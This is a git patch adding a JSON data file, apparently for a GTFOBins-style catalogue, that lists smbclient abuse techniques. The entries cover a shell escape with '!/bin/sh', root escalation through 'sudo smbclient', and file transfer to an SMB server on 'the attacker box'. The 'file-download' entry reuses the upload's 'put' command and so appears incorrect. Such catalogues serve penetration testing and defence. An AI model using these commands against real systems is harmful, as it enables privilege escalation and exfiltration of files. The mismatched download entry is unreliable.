From 19d89ccc9b7bb9821da343657d6e631185f94701 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:10:17 +0100 Subject: [PATCH] add new sources --- data/smbclient.json | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 data/smbclient.json diff --git a/data/smbclient.json b/data/smbclient.json new file mode 100644 index 0000000..aa5a167 --- /dev/null +++ b/data/smbclient.json @@ -0,0 +1,27 @@ +{ + "description": "A valid SMB/CIFS server must be available.", + "functions": { + "shell": [ + { + "code": "smbclient '\\\\[host]\\share'\n!/bin/sh\n" + } + ], + "file-upload": [ + { + "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to collect the file.", + "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n" + } + ], + "file-download": [ + { + "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to send the file.", + "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n" + } + ], + "sudo": [ + { + "code": "sudo smbclient '\\\\[host]\\share'\n!/bin/sh\n" + } + ] + } +} \ No newline at end of file